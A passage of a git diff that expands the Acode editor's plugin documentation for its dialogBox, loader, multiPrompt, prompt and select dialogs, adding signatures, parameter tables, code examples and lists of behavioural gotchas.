+| `cancel` | `(cb: () => void) => DialogBox` | Called when the Cancel button is pressed. **Does not close the dialog.** |
+
+Every setter returns the *same* handle object, so calls chain:
+
+```js
+const DialogBox = acode.require('dialogBox');
+
+const box = DialogBox('Delete?', 'This cannot be undone.', 'Delete')
+  .wait(1500)
+  .ok(() => {
+    doDelete();
+    box.hide();
+  })
+  .cancel(() => box.hide())
+  .onhide(() => acode.require('toast')('Closed'));
+```
+
 ## Methods
 
 ### 1. `hide()`
 
-The `hide` method is used to hide the dialog box.
+The `hide` method is used to hide the dialog box. It removes the box and its mask after the ~300 ms close animation, and calls `URL.revokeObjectURL()` for every `<img>` it contains (so `URL.createObjectURL()` previews stop working once closed). While a `wait()` countdown is active `hide()` is a no-op.
 
 ```javascript
 myDialogBox.hide();
@@ -46,7 +88,7 @@ myDialogBox.hide();
 
 ### 2. `wait(time: number)`
 
-The `wait` method disables the OK button for the specified time (in milliseconds).
+The `wait` method disables the OK button (and the cancel button, if present) for the specified time (in milliseconds). The time is rounded **down to whole seconds** and the button label counts down the remaining seconds, e.g. `"Pick (1sec)"` → `"Pick"`.
 
 ```javascript
 myDialogBox.wait(1000);
@@ -54,7 +96,7 @@ myDialogBox.wait(1000);
 
 ### 3. `onhide(callback: Function)`
 
-The `onhide` method sets a callback function to be called when the dialog box is hidden.
+The `onhide` method sets a callback function to be called when the dialog box is hidden. It runs on a backdrop tap and on the default OK behaviour — i.e. only when `hide()` was reached through the OK button or the mask. Call `box.hide()` yourself to close it.
 
 ```javascript
 myDialogBox.onhide(() => {
@@ -64,7 +106,7 @@ myDialogBox.onhide(() => {
 
 ### 4. `onclick(callback: Function)`
 
-The `onclick` method sets a callback function to be called when the content is clicked.
+The `onclick` method sets a callback function to be called when the content is clicked. The callback's `this` is the body `<div class="message">`.
 
 ```javascript
 myDialogBox.onclick((e) => {
@@ -75,17 +117,17 @@ myDialogBox.onclick((e) => {
 
 ### 5. `then(callback: Function)`
 
-The `then` method sets a callback function to be called when the OK button is clicked.
+The `then` method sets a callback function that receives the dialog body's `children` (an `HTMLCollection`) as soon as the dialog has been inserted — it is **not** tied to the OK button.
 
 ```javascript
-myDialogBox.then(() => {
-  console.log('OK button is clicked');
+myDialogBox.then((children) => {
+  console.log('Dialog body has', children.length, 'child nodes');
 });
 ```
 
 ### 6. `ok(callback: Function)`
 
-The `ok` method sets a callback function to be called when the OK button is clicked.
+The `ok` method sets a callback function to be called when the OK button is clicked. It **replaces** the default behaviour (hide), so the dialog stays open until you call `hide()` yourself.
 
 ```javascript
 myDialogBox.ok(() => {
@@ -95,10 +137,70 @@ myDialogBox.ok(() => {
 
 ### 7. `cancel(callback: Function)`
 
-The `cancel` method sets a callback function to be called when the Cancel button is clicked.
+The `cancel` method sets a callback function to be called when the Cancel button is clicked. The dialog is **not** closed for you.
 
 ```javascript
 myDialogBox.cancel(() => {
   console.log('Cancel button is clicked');
 });
 ```
+
+## How it differs from the preset dialogs
+
+| | `dialogBox` | `confirm` / `prompt` / `select` / `multiPrompt` / `colorPicker` |
+| --- | --- | --- |
+| Return value | Thenable **handle** with methods | Real `Promise` |
+| Body content | Your raw `innerHTML` | Text / sanitized HTML / native controls |
+| Buttons | You choose labels, and can remove them entirely | Fixed OK + Cancel from the app's locale |
+| Result delivery | Callbacks (`ok`, `cancel`, `onhide`) | `resolve` / `reject` |
+| Cancellation | No built-in "dismissed" signal — the promise never rejects | `false`, `null`, `undefined` or `Error("cancelled")` |
+| Sanitization | **None** — you own the escaping | `alert`, `select`, `loader`, `colorPicker` and `confirm(isHTML)` use DOMPurify |
+
+## Example
+
+```javascript
+const DialogBox = acode.require('dialogBox');
+
+const box = DialogBox(
+  'Pick a build flavour',
+  `
+    <div style="display:flex;gap:8px">
+      <button class="btn" value="free">Free</button>
+      <button class="btn" value="pro">Pro</button>
+    </div>
+  `,
+  'Pick',
+).wait(1000);
+
+box.onclick((e) => {
+  const flavour = e.target.getAttribute?.('value');
+  if (!flavour) return;
+  box.hide();
+  localStorage.setItem('buildFlavour', flavour);
+});
+
+box.cancel(() => box.hide());
+box.onhide(() => acode.require('toast')('Dialog dismissed'));
+```
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **It is not a `Promise`.** There is no `catch()` and no `finally()`; `await box` resolves almost immediately with the body's `children` rather than waiting for the user. Drive the dialog with callbacks instead.
+- **`then()` is a setter, not a resolver.** It fires as soon as the dialog is mounted — before the user has done anything. Use `ok()` / `cancel()` / `onhide()` for user intent.
+- **`ok()` and `cancel()` do not close the dialog.** The default `ok` action is `hide()`, but the moment you override `ok` that behaviour is gone — and `cancel` never closes anything and does not fire `onhide`. Always call `hide()` yourself.
+- **Android Back / Esc bypasses every callback.** The action stack entry points at the raw teardown, so the DOM disappears without `ok`, `cancel` or `onhide` running.
+- **`wait()` blocks `hide()`.** While the countdown runs, `hide()` returns immediately, so a `wait()` that is never completed locks the dialog open.
+- **`hideButtonText: true` renders no buttons at all** — it is tested with `typeof hideButtonText === "boolean"`, so passing the boolean `true` (and only `true`) removes the whole button row. Backdrop tap then becomes your only close gesture.
+- **`html` is not sanitized.** Any string you pass becomes live DOM. Never interpolate untrusted values — escape them yourself.
+- **`hide()` revokes object URLs** of every `<img>` in the box, so reusing a `URL.createObjectURL()` preview after close will fail.
+- **The action-stack id is fixed (`"box"`)**, shared with the color picker — two such dialogs at once will fight over Back-navigation.
+
+## See also
+
+- [`confirm`](./confirm.md) — yes/no dialog
+- [`alert`](./alert.md) — message with a single OK button
+- [`prompt`](./prompt.md) — free-text input
+- [`select`](./select.md) — pick from a list
+- [`multiPrompt`](./multi-prompt.md) — many inputs in one dialog
+- [`colorPicker`](./color-picker.md) — pick a color
+- [`loader`](./loader.md) — progress dialog
\ No newline at end of file
diff --git a/docs/ui-components/dialogs/loader.md b/docs/ui-components/dialogs/loader.md
index 01a778e..c087b4f 100644
--- a/docs/ui-components/dialogs/loader.md
+++ b/docs/ui-components/dialogs/loader.md
@@ -2,79 +2,136 @@
 
 The `loader` ui component in Acode is utility that help you to display loading dialogs with customizable titles and messages. These loading dialogs offer an informative and engaging experience for users while waiting for various processes to complete. The component also provides options for setting timeouts and callback functions for handling loading process cancellations.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/loader.js`.
+:::
+
+::: warning
+The third argument is a **`LoaderOptions` object** — `{ timeout, oncancel }` — **not** a bare cancel callback, and `timeout` is the delay **before the Cancel button appears**, not an auto-cancel timer. `acode.require("loader")` returns the *module*; `acode.loader(...)` returns a *loader handle*.
+:::
+
 ## Methods and Usage
 
 The `loader` component offers a variety of methods to control and manage the loading dialog:
 
-### `showTitleLoader()`
+### `showTitleLoader(immortal?: boolean)`
 
 - **Usage:** Shows the title loader.
-
+- **Returns:** `undefined`
 - **Parameters:**
-  - `immortal {boolean}` If true, the loader will not be removed automatically
+  - `immortal {boolean}` Optional, default `false`. If `true`, the loader will not be removed automatically.
 
-### `removeTitleLoader()`
+### `removeTitleLoader(immortal?: boolean)`
 
 - **Usage:** Hides the title loader.
-
+- **Returns:** `undefined`
 - **Parameters:**
-  - `immortal {boolean}` If not true, the loader will not remove when immortal was true when it was created.
+  - `immortal {boolean}` If not `true`, the loader will not remove when `immortal` was `true` when it was created.
 
 
 :::tip
 `showTitleLoader()` & `removeTitleLoader()` are loader methods to create and destroy a small spinner from title. Its good while opening any file in editor or working inside editor
 :::
 
-### `create(options: LoaderOptions)`
+### `create(titleText, message?, options?)`
 
-- **Usage:** Creates a new loading dialog with the specified options.
+- **Usage:** Creates a new loading dialog with the specified options and **returns the loader handle**. It is *not* promise-based.
+- **Returns:** [`Loader`](#loader-handle)
 - **Parameters:**
-  - `titleText (string)`: The title text to display on the loading dialog.
-  - `message (string)`: The message to display on the loading dialog.
-  - `cancel (object)`: An object containing the following properties:
-    - `timeout (number)`: The time (in milliseconds) after which the loading process will automatically be cancelled.
-    - `callback (Function)`: A function that will be called when the loading process is cancelled.
+
+  | Name | Type | Required | Default | Description |
+  | --- | --- | --- | --- | --- |
+  | `titleText` | `string` | Yes | — | Title text. If `message` is falsy, this value is used as the message and the title is left empty. |
+  | `message` | `string` | No | `""` | Body message. Inserted as HTML and sanitized with **DOMPurify**; `white-space: pre-wrap` is applied so `\n` renders. |
+  | `options` | `LoaderOptions` | No | `{}` | See below. |
+
+  **LoaderOptions**
+
+  | Key | Type | Default | Description |
+  | --- | --- | --- | --- |
+  | `timeout` | `number` | `undefined` | Delay **before the Cancel button is appended**, in milliseconds. No Cancel button is rendered when omitted. |
+  | `oncancel` | `() => void` | `undefined` | Invoked **only** when the user actually taps that Cancel button. |
 
 ### `destroy()`
 
-- **Usage:** Removes the loading dialog from the DOM permanently.
+- **Usage:** Removes the loading dialog from the DOM permanently (after the ~300 ms close animation) and releases the action-stack lock.
+- **Returns:** `undefined`
+- **Note:** The module-level `destroy()` / `hide()` / `show()` operate on the **current** loader only.
 
 ### `hide()`
 
 - **Usage:** Hides the loading dialog temporarily. The dialog can be restored using the `show()` method.
+- **Returns:** `undefined`
 
 ### `show()`
 
 - **Usage:** Shows a previously hidden loading dialog.
+- **Returns:** `undefined`
 
 :::info
 The `create()` method should be called before using other methods except `showTitleLoader()` & `removeTitleLoader()`.
 :::
 
+### `Loader` handle <Badge type="tip" text="new" />
+
+`create()` — and `acode.loader(...)` — return an object with **exactly five** members:
+
+| Member | Signature | Description |
+| --- | --- | --- |
+| `setTitle` | `(title: string) => void` | Replaces the title text. |
+| `setMessage` | `(message: string) => void` | Replaces the message (DOMPurify-sanitized HTML). |
+| `hide` | `() => void` | Removes the dialog and mask from the DOM immediately; recoverable with `show()`. |
+| `show` | `() => void` | Re-appends a hidden dialog and mask. |
+| `destroy` | `() => void` | Plays the hide animation, then removes the node and unfreezes the action stack. |
+
+There is **no** `success()` method — a successful load is simply `destroy()` (or `hide()`).
+
+## Signature
+
+| Signature | Returns |
+| --- | --- |
+| `acode.require("loader").create(titleText: string, message?: string, options?: LoaderOptions): Loader` | The handle |
+| `acode.loader(titleText: string, message?: string, options?: LoaderOptions): Loader` | The handle |
+| `acode.require("loader")` | `{ create, destroy, hide, show, showTitleLoader, removeTitleLoader }` |
+
+```js
+const loader = acode.require('loader');
+let cancelled = false;
+
+const $loader = loader.create('Working', 'Downloading…', {
+  timeout: 5000,             // show a Cancel button after 5s
+  oncancel: () => {
+    cancelled = true;
+  },
+});
+```
+
 ## Example
 
-```javascript:line-numbers{1,4-7,11,16,21,25,29}
-const loader = acode.require("loader");
+```javascript:line-numbers
+const loader = acode.require('loader');
 
 // Create the loader with specified options
-loader.create("Title Text", "Message...", {
+const $loader = loader.create('Title Text', 'Message…', {
   timeout: 5000,
-  callback: () => window.toast("Loading cancelled", 4000),
+  oncancel: () => window.toast('Loading cancelled', 4000),
 });
 
+$loader.setMessage('Almost there…');
+
 // Hide the loader after 2 seconds
 setTimeout(() => {
-  loader.hide();
+  $loader.hide();
 }, 2000);
 
 // Show the loader after 4 seconds
 setTimeout(() => {
-  loader.show();
+  $loader.show();
 }, 4000);
 
 // Destroy the loader after 6 seconds
 setTimeout(() => {
-  loader.destroy();
+  $loader.destroy();
 }, 6000);
 
 // example of `showTitleLoader()` & `removeTitleLoader()`
@@ -88,14 +145,55 @@ setTimeout(() => {
 
 In this example, the `create()` method is called with the specified options to create a loading dialog. The loader is then hidden after 2 seconds, shown after 4 seconds, and finally destroyed after 6 seconds.
 
+### Wrapping a promise
+
+::: tip
+Because `loader` is callback-based, wire it to your own promise and always `destroy()` in a `finally` block — otherwise the action stack stays frozen and the user cannot navigate.
+:::
+
+```js
+const loader = acode.require('loader');
+const $loader = loader.create('Downloading…', 'Please wait');
+
+try {
+  const res = await fetch(url).then((r) => r.json());
+  $loader.setMessage('Done');
+  return res;
+} finally {
+  $loader.destroy();
+}
+```
+
 :::tip
 
 - Use the `loader` component to provide informative loading dialogs during time-consuming operations.
-- Utilize the `timeout` and `callback` options to handle cancellations gracefully.
+- Utilize the `timeout` and `oncancel` options to handle cancellations gracefully.
 - Show and hide the loader as needed to keep users informed about the process.
   :::
 
 :::danger
 
 - Be cautious with long timeouts, as it may affect the user experience.
-  :::
\ No newline at end of file
+  :::
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **`timeout` is not an auto-cancel.** It only delays the appearance of the Cancel button. If you want the work aborted after N ms, run your own `setTimeout`.
+- **`oncancel`, not `callback`.** The `LoaderOptions` key is `oncancel` (all lowercase). A `{ callback: fn }` object is silently ignored.
+- **`acode.require("loader")` is the module, not a handle.** Calling `acode.require("loader").hide()` before any `create()` is a no-op on `null`. Use the object returned by `create()` / `acode.loader(...)` for per-instance control.
+- **A loader freezes the action stack.** `create()` calls `actionStack.freeze()`, so Android Back / Esc does nothing until `destroy()` runs. Always `destroy()`; `hide()` alone leaves the app locked.
+- **There is only one loader.** A new `create()` removes the previous dialog and mask immediately — a long task that starts a second loader kills the first one's UI without warning. Track handles yourself.
+- **Module-level `destroy()` / `hide()` / `show()` are global.** They act on whichever loader is current, so concurrent flows can close each other's dialogs.
+- **Message is sanitized, not escaped.** Inline markup renders; `<script>` is stripped by DOMPurify.
+- **`hide()` then `show()` re-appends to `app`.** If a newer loader was created in between, `show()` can resurrect a stale dialog next to it.
+
+## See also
+
+- [`alert`](./alert.md) — simple modal message
+- [`confirm`](./confirm.md) — yes/no dialog
+- [`prompt`](./prompt.md) — free-text input
+- [`select`](./select.md) — pick from a list
+- [`multiPrompt`](./multi-prompt.md) — many inputs in one dialog
+- [`colorPicker`](./color-picker.md) — pick a color
+- [`dialogBox`](./custom-dialog.md) — build your own dialog
+- [Toast](../toast.md) — non-blocking message (better than a loader for short work)
\ No newline at end of file
diff --git a/docs/ui-components/dialogs/multi-prompt.md b/docs/ui-components/dialogs/multi-prompt.md
index 93d99f8..f3e2996 100644
--- a/docs/ui-components/dialogs/multi-prompt.md
+++ b/docs/ui-components/dialogs/multi-prompt.md
@@ -2,6 +2,10 @@
 
 The `multiPrompt` ui component in Acode is a dialog box for prompting users with multiple inputs at once. Whether you need to collect various pieces of information or gather complex input data.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/multiPrompt.js`. `acode.require("multiPrompt")` and `acode.multiPrompt(...)` are the same function and forward all three arguments.
+:::
+
 ## Usage
 
 To use the `multiPrompt` component in your Acode plugin, you can require it using the following code:
@@ -19,17 +23,37 @@ const myPrompt = await multiPrompt(
     { type: 'text', id: 'name' },   // Example: Text input for the name
     { type: 'number', id: 'age' },  // Example: Number input for the age
   ],
-  'https://example.com/help/' // Help text with the associated URL
+  'https://example.com/help/' // Help URL or help text
 );
 ```
 
+### Signature
+
+| Signature | Returns |
+| --- | --- |
+| `multiPrompt(message: string, inputs: Array<Input \| Array>, help?: string): Promise<Record<string, string \| boolean>>` | Rejects with `undefined` when Cancel is pressed |
+
+The resolved value is an **object keyed by each input's `id`**, not an array:
+
+```js
+const values = await multiPrompt('Sign up', [
+  {type: 'text', id: 'name', required: true, placeholder: 'Name'},
+  {type: 'email', id: 'email', required: true, placeholder: 'Email'},
+  {type: 'checkbox', id: 'newsletter', placeholder: 'Send me news'},
+]);
+
+values.name;       // string
+values.email;      // string
+values.newsletter; // boolean — checkboxes resolve to their checked state
+```
+
 ## Parameters
 
 - **`message (string):`**
   - The title for the prompt modal.
 
 - **`inputs (Array<Input|Array<Input>>):`**
-  - The inputs to prompt the user for. It can be a single input or an array of inputs. Each input is defined by an object with various properties such as `id`, `type`, `placeholder`, etc.
+  - The inputs to prompt the user for. Each element is either a single `Input` object, or a **nested array** which becomes a labelled input group.
 
   :::tip
   - Provide clear and concise messages to guide users through the input process.
@@ -37,16 +61,93 @@ const myPrompt = await multiPrompt(
   :::
 
 - **`help (string):`**
-  - The help icon at the top of the `multiPrompt` will be enabled with the specified help URL.
-  - It must be valid url
+  - The help affordance at the top-right of the `multiPrompt`.
+  - If it starts with `http://` or `https://` an `<a class="icon help">` link is rendered.
+  - Any other string renders a tappable `<span class="icon help">` that opens an `alert()` with the string as its body — so plain help text works just as well as a URL.
 
-  :::warning
+  ::: warning
   - Ensure that the help URL provided is accessible and relevant to assist users effectively.
   :::
 
+### Parameters at a glance
+
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `message` | `string` | Yes | — | Dialog title. |
+| `inputs` | `Array<Input \| Array>` | Yes | — | Fields to render. |
+| `help` | `string` | No | `undefined` | Help link (URL) or help text (anything else). |
+
+### Input shape <Badge type="tip" text="new" />
+
+Every key below is optional except `id`, which becomes the key of the resolved object.
+
+| Key | Type | Default | Description |
+| --- | --- | --- | --- |
+| `id` | `string` | — | **Required.** Element id, and the key used in the resolved object. |
+| `type` | `string` | `"text"` | `<input type>` or `"textarea"`. `"filename"` is rewritten to `"text"`. `"checkbox"` and `"radio"` render a switch/checkbox row instead of a text field. |
+| `value` | `string \| boolean` | — | Initial value. For `checkbox` / `radio` it is the initial **checked** state. |
+| `placeholder` | `string` | — | Placeholder text; for `checkbox` / `radio` this is the visible **label**. |
+| `required` | `boolean` | `false` | Blocks OK and shows the localized "required" message when empty. |
+| `match` | `RegExp` | — | On mismatch, shows "invalid value" and disables OK. |
+| `name` | `string` | — | Sets the `name` attribute, which is what groups `radio` inputs. |
+| `disabled` | `boolean` | `false` | Disables the field. |
+| `readOnly` | `boolean` | `false` | Makes the field read-only. |
+| `hidden` | `boolean` | `false` | Hides the field (useful for conditional flows driven from `onchange`). |
+| `autofocus` | `boolean` | `false` | If several inputs set it, the **last** one wins and is focused on open. |
+| `hints` | `string` | — | Adds an inline hint element to the field via Acode's `inputhints` helper. |
+| `sensitive` | `boolean` | `false` | Clears the field's value when the dialog closes. `type: "password"` is always treated as sensitive. |
+| `onclick` | `(e: Event) => void` | — | Bound with `this` set to the input element. |
+| `onchange` | `(e: Event) => void` | — | Bound with `this` set to the input element. |
+
+### Input groups
+
+A nested array becomes a titled group. Inside a group, **string** elements set the group heading and object elements become fields (if several strings are given, the last one becomes the heading):
+
+```js
+const values = await multiPrompt('Add SFTP', [
+  {id: 'alias', type: 'text', required: true, value: 'my-server'},
+  [
+    'Authentication',
+    {
+      id: 'usePassword',
+      type: 'radio',
+      name: 'authType',
+      value: true,
+      placeholder: 'Password',
+      onchange() {
+        // `this` is the input; `this.prompt` exposes the dialog internals.
+        if (!this.checked) return;
+        this.prompt.$body.get('#password').hidden = false;
+        this.prompt.$body.get('#keyFile').hidden = true;
+      },
+    },
+    {id: 'useKey', type: 'radio', name: 'authType', placeholder: 'Key file'},
+  ],
+  {id: 'password', type: 'password', hidden: true},
+  {id: 'keyFile', type: 'text', hidden: true},
+]);
+```
+
+::: info
+Every created input exposes a `prompt` property of the shape `{ $body, hide }`:
+
+- `$body` — the dialog body element; use `$body.get("#id")` to reach sibling fields.
+- `hide()` — closes the dialog programmatically (the promise then stays pending, so set your own flag).
+
+It also exposes `setError(message)` — pass a string to show a custom error and disable OK, or `""` to clear it.
+:::
+
 ## Returns
 
-The `multiPrompt` component returns a promise that resolves to an array of strings representing the user's input. You can access the values using the provided IDs in the input configuration.
+The `multiPrompt` component returns a promise that resolves to an **object** whose keys are the `id` of each input. Text-like fields resolve to their string value; `checkbox` and `radio` fields resolve to a **boolean**. You can access the values using the provided IDs in the input configuration.
+
+| Interaction | Outcome |
+| --- | --- |
+| **OK button / Enter** | Resolves with the values object |
+| **Empty `required` field** | OK is blocked, "required" is shown next to the offending field |
+| **Cancel button** | **Rejects with `undefined`** |
+| **Backdrop tap** | Nothing happens — the backdrop has no click handler |
+| **Android Back / Esc** | Nothing settles — see [Gotchas](#gotchas) |
 
 ## Example
 
@@ -72,3 +173,42 @@ const userAge = myPrompt['age'];
 :::info
 - The `multiPrompt` component supports a variety of input configurations. Refer to the html [`Input`](http://developer.mozilla.org/en-US/docs/Web/HTML/Element/input) element type for details.
 :::
+
+### Handling cancellation
+
+```js
+const multiPrompt = acode.require('multiPrompt');
+
+try {
+  const values = await multiPrompt('New project', [
+    {id: 'name', type: 'text', required: true},
+    {id: 'path', type: 'text', placeholder: 'Relative path'},
+  ]);
+  await createProject(values);
+} catch {
+  // The Cancel button rejects with `undefined`.
+  acode.require('toast')('Project creation cancelled');
+}
+```
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **Cancel rejects, it does not resolve `null`.** `reject()` is called with no argument, so `err` is `undefined` — `err.message` will throw. Use a bare `catch`.
+- **Android Back / Esc leaves the promise pending forever.** The action stack entry points at the internal `hidePrompt()` teardown, which removes the dialog without settling the promise. Wrapping the call in `try/catch` does not help here.
+- **`id` is mandatory in practice.** Without it the field cannot be read back from the resolved object, and duplicate `id`s overwrite each other.
+- **Every value is a string.** `type: "number"` only changes the rendered input type; the resolved value is still `input.value`. Coerce with `Number()` yourself.
+- **`match` disables the whole dialog.** One failing field disables OK for the entire prompt; the error message is a single shared node that gets moved next to the field being edited.
+- **`sensitive` wipes the live field on close.** Values are snapshotted into the resolved object *before* the wipe, so read secrets from the result — a retained DOM reference will already be empty.
+- **`help` is not required to be a URL.** Any other string becomes the body of an `alert()` when the help icon is tapped.
+- **`multiPrompt` and `prompt` share the action-stack id `"prompt"`**, so opening one from inside the other's callbacks can confuse Back-navigation.
+
+## See also
+
+- [`prompt`](./prompt.md) — single-field equivalent
+- [`confirm`](./confirm.md) — yes/no dialog
+- [`select`](./select.md) — pick from a list
+- [`alert`](./alert.md) — message with a single OK button
+- [`colorPicker`](./color-picker.md) — pick a color
+- [`dialogBox`](./custom-dialog.md) — build your own dialog
+- [`loader`](./loader.md) — progress dialog
+- [Input Hints](../../helpers/input-hints.md) — the `hints` option
\ No newline at end of file
diff --git a/docs/ui-components/dialogs/prompt.md b/docs/ui-components/dialogs/prompt.md
index ff94dac..7e34d0a 100644
--- a/docs/ui-components/dialogs/prompt.md
+++ b/docs/ui-components/dialogs/prompt.md
@@ -2,6 +2,10 @@
 
 The `prompt` ui component in Acode is a dialog box for displaying prompts to users, allowing them to provide input in a convenient and straightforward manner.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/prompt.js`. `acode.require("prompt")` and `acode.prompt(...)` are the same function and forward all four arguments.
+:::
+
 ## Usage
 
 To use the `prompt` component in your Acode plugin, you can require it using the following code:
@@ -26,6 +30,17 @@ const userEmail = await prompt(
 );
 ```
 
+### Signature
+
+| Signature | Returns |
+| --- | --- |
+| `prompt(message: string, defaultValue: string, type?: PromptType, options?: PromptOptions): Promise<string \| number \| null>` | Never rejects — Cancel resolves `null` |
+
+```js
+// Minimal call — every argument except the message can be omitted.
+const name = await prompt('What is your name?');
+```
+
 ## Parameters
 
 - **`message (string):`**
@@ -33,6 +48,7 @@ const userEmail = await prompt(
 
 - **`defaultValue (string):`**
   - A string that represents the default value of the input.
+  - Also seeds the field: if truthy the cursor is placed at the end of the text and **the OK button starts enabled**; if falsy the OK button starts **disabled** until the user types.
 
 - **`type (string):`**
   - A string that represents the type of input, such as 
@@ -47,18 +63,31 @@ const userEmail = await prompt(
   | email         |
   | url           |
 
+  `type` defaults to `"text"`. The value is applied verbatim as `input.type` (or `inputMode` for `textarea`), so any other valid HTML input type also works. `"filename"` is a special case that is rewritten to `"text"`.
+
 - **`options (PromptOptions):`**
   - An object that contains additional options for the prompt.
 
+### Parameters at a glance
+
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `message` | `string` | Yes | — | Label shown above the input. |
+| `defaultValue` | `string` | Yes | — | Initial field value; also controls the initial enabled state of the OK button. |
+| `type` | `PromptType` | No | `"text"` | `<input type>` (or `textarea`). |
+| `options` | `PromptOptions` | No | `{}` | See below. |
+
 ### PromptOptions
 
 - **`match (RegExp):`**
   - A regular expression that the input must match.
+  - Evaluated on every `input` event. A mismatch disables the OK button and shows the localized `strings["invalid value"]` message.
 
 - **`required (boolean):`**
   - A boolean that indicates whether the input is required or not.
+  - Checked when OK is pressed; an empty value shows the localized `strings.required` message and keeps the dialog open.
 
-  :::warning 
+  ::: warning
   - Be mindful of the `required` option, and consider the user experience when making input mandatory.
   :::
 
@@ -68,15 +97,37 @@ const userEmail = await prompt(
 - **`test (Function):`**
   - A function that takes in a value and returns a boolean indicating whether the value is valid.
 
-  :::info
+  ::: info
   - The `test` function can be used for custom validation of the input.
   :::
 
+- **`capitalize (boolean):`** <Badge type="tip" text="new" />
+  - Sets the input's `autocapitalize` attribute to `"on"` or `"off"`. Defaults to `true`.
+
+### PromptOptions at a glance
+
+| Key | Type | Default | Description |
+| --- | --- | --- | --- |
+| `match` | `RegExp` | `undefined` | Pattern the value must match. |
+| `required` | `boolean` | `undefined` | Block submit on an empty value. |
+| `placeholder` | `string` | `undefined` | Placeholder text. |
+| `test` | `(value: any) => boolean` | `undefined` | Custom validator, overrides `match`. |
+| `capitalize` | `boolean` | `true` | `autocapitalize="on"` / `"off"`. |
 
 ## Returns
 
 The `prompt` component returns a promise that resolves to a string, number, or null if the prompt is canceled.
 
+| Interaction | Resolved value |
+| --- | --- |
+| **OK button** | The input's value — a `string`, or a `number` when `type` is `"number"` (the string is coerced with unary `+`) |
+| **Enter key (form submit)** | The input's value, always as a `string` |
+| **Cancel button** | `null` |
+| **Backdrop tap** | Nothing happens — the backdrop has no click handler |
+| **Android Back / Esc** | Nothing settles — see [Gotchas](#gotchas) |
+
+The promise **never rejects**, so `try/catch` around `prompt()` is unnecessary.
+
 ## Example
 
 ```javascript:line-numbers{1,11}
@@ -94,3 +145,22 @@ const userEmail = await prompt('What is your email?', '', 'email', options);
 ```
 
 In this example, a prompt is created with the given options and parameters, including email validation.
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **The OK button starts disabled when `defaultValue` is empty.** `disabled: !defaultValue` is evaluated once, at creation. With `defaultValue: ''` the user must type at least one character before OK becomes clickable.
+- **`test` silently overrides `match`.** Both run, but `test`'s result is assigned last, so a `match` that fails can still be accepted by `test` returning `true`. Pick one.
+- **Enter and OK disagree on numbers.** The OK button coerces with `+` for `type: "number"`, while the form's `onsubmit` handler resolves the raw `input.value`. You can get `42` or `"42"` depending on how the user submitted. Normalize yourself.
+- **Validation only runs on `input`.** `match` / `test` are never re-checked at submit time; the OK button's `disabled` flag is what gates the form submit.
+- **Android Back / Esc leaves the promise pending forever.** The action stack entry points at the internal `hidePrompt()` teardown, which removes the dialog without resolving. If your flow depends on the answer, prefer [`confirm`](./confirm.md).
+- **The input grabs focus and selects its content on focus**, and `system.setInputType("NORMAL")` is restored to the user's `keyboardMode` setting when the dialog closes.
+
+## See also
+
+- [`multiPrompt`](./multi-prompt.md) — several inputs in one dialog
+- [`confirm`](./confirm.md) — yes/no dialog
+- [`select`](./select.md) — pick from a list
+- [`alert`](./alert.md) — message with a single OK button
+- [`colorPicker`](./color-picker.md) — pick a color
+- [`dialogBox`](./custom-dialog.md) — build your own dialog
+- [Input Hints](../../helpers/input-hints.md) — datalist-style hints for `multiPrompt` inputs
\ No newline at end of file
diff --git a/docs/ui-components/dialogs/select.md b/docs/ui-components/dialogs/select.md
index 263041e..e66e947 100644
--- a/docs/ui-components/dialogs/select.md
+++ b/docs/ui-components/dialogs/select.md
@@ -2,6 +2,10 @@
 
 The `select` ui component in Acode provides a user-friendly and customizable way to present a select dialog, allowing users to choose one or more options.
 
+::: info
+Verified against Acode **v1.13.5**: `src/dialogs/select.js`. `acode.require("select")` and `acode.select(...)` are the same function and forward all three arguments.
+:::
+
 ## Usage
 
 To use the `select` component in your Acode plugin, you can require it using the following code:
@@ -20,10 +24,33 @@ const mySelect = await select(
 );
 ```
 
+### Signature
+
+| Signature | Returns |
+| --- | --- |
+| `select(title: string, items: Array<string \| SelectItem \| Array>, options?: SelectOptions \| boolean): Promise<any>` | Rejects with `undefined` only when `options` is the boolean `true` |
+
+The third argument is overloaded:
+
+```js
+const select = acode.require('select');
+
+// Object form — full feature set.
+const a = await select('Pick', items, { default: 'b' });
+
+// Boolean form — shorthand for `rejectOnCancel: true`.
+// Cancel/backdrop/back now rejects instead of leaving the promise pending.
+try {
+  const b = await select('Pick', items, true);
+} catch {
+  // dismissed
+}
+```
+
 ## Parameters
 
 ### `title` (string)
-The header text shown at the top of the selection dialog.
+The header text shown at the top of the selection dialog. If it is falsy the title element is omitted entirely and the list is the only content.
 
 ### `items` (Array | String[])
 Options to display in three supported formats:
@@ -32,16 +59,18 @@ Options to display in three supported formats:
    ```javascript
    const items = ['Option 1', 'Option 2', 'Option 3'];
    ```
+   The string is used as both `value` and `text`.
 
-2. **Array format** `[value, text, icon, disabled, letters, checkbox]`:
+2. **Array format** `[value, text, icon, disabled, letters, checkbox, …]`:
    ```javascript
    const items = [
-     ['value1', 'Display Text', 'icon-class', false, 'AB', null],
-     ['value2', 'Another Option', null, true, null, true]
+     ['value1', 'Display Text', 'icon-class', true, 'AB', null],
+     ['value2', 'Another Option', null, false, null, true]
    ];
    ```
+   Positions are assigned in this fixed order: `value`, `text`, `icon`, `disabled`, `letters`, `checkbox`, `tailElement`, `ontailclick`, `subText`, `className`, `title`.
 
-3. **Object format**:
+3. **Object format** (recommended — no inversion, full key set):
    ```javascript
    const items = [
      {value: 'option1', text: 'First Option', icon: 'icon-class'},
@@ -49,29 +78,40 @@ Options to display in three supported formats:
    ];
    ```
 
+::: warning
+In the array format the `disabled` slot is **inverted**: any boolean at index `> 1` sets `disabled = !value`, and the last such boolean wins. `['v', 'Text', null, true]` is therefore **enabled**. Prefer the object format whenever you need `disabled` or `checkbox`.
+:::
+
 #### Item Parameters
 
 | Parameter | Type | Description |
 |-----------|------|-------------|
-| `value` | String | Unique identifier returned when selected |
-| `text` | String | Display text shown to the user |
-| `icon` | String | CSS class for icon or 'letters' to use the letters parameter |
-| `disabled` | Boolean | Whether the option can be selected |
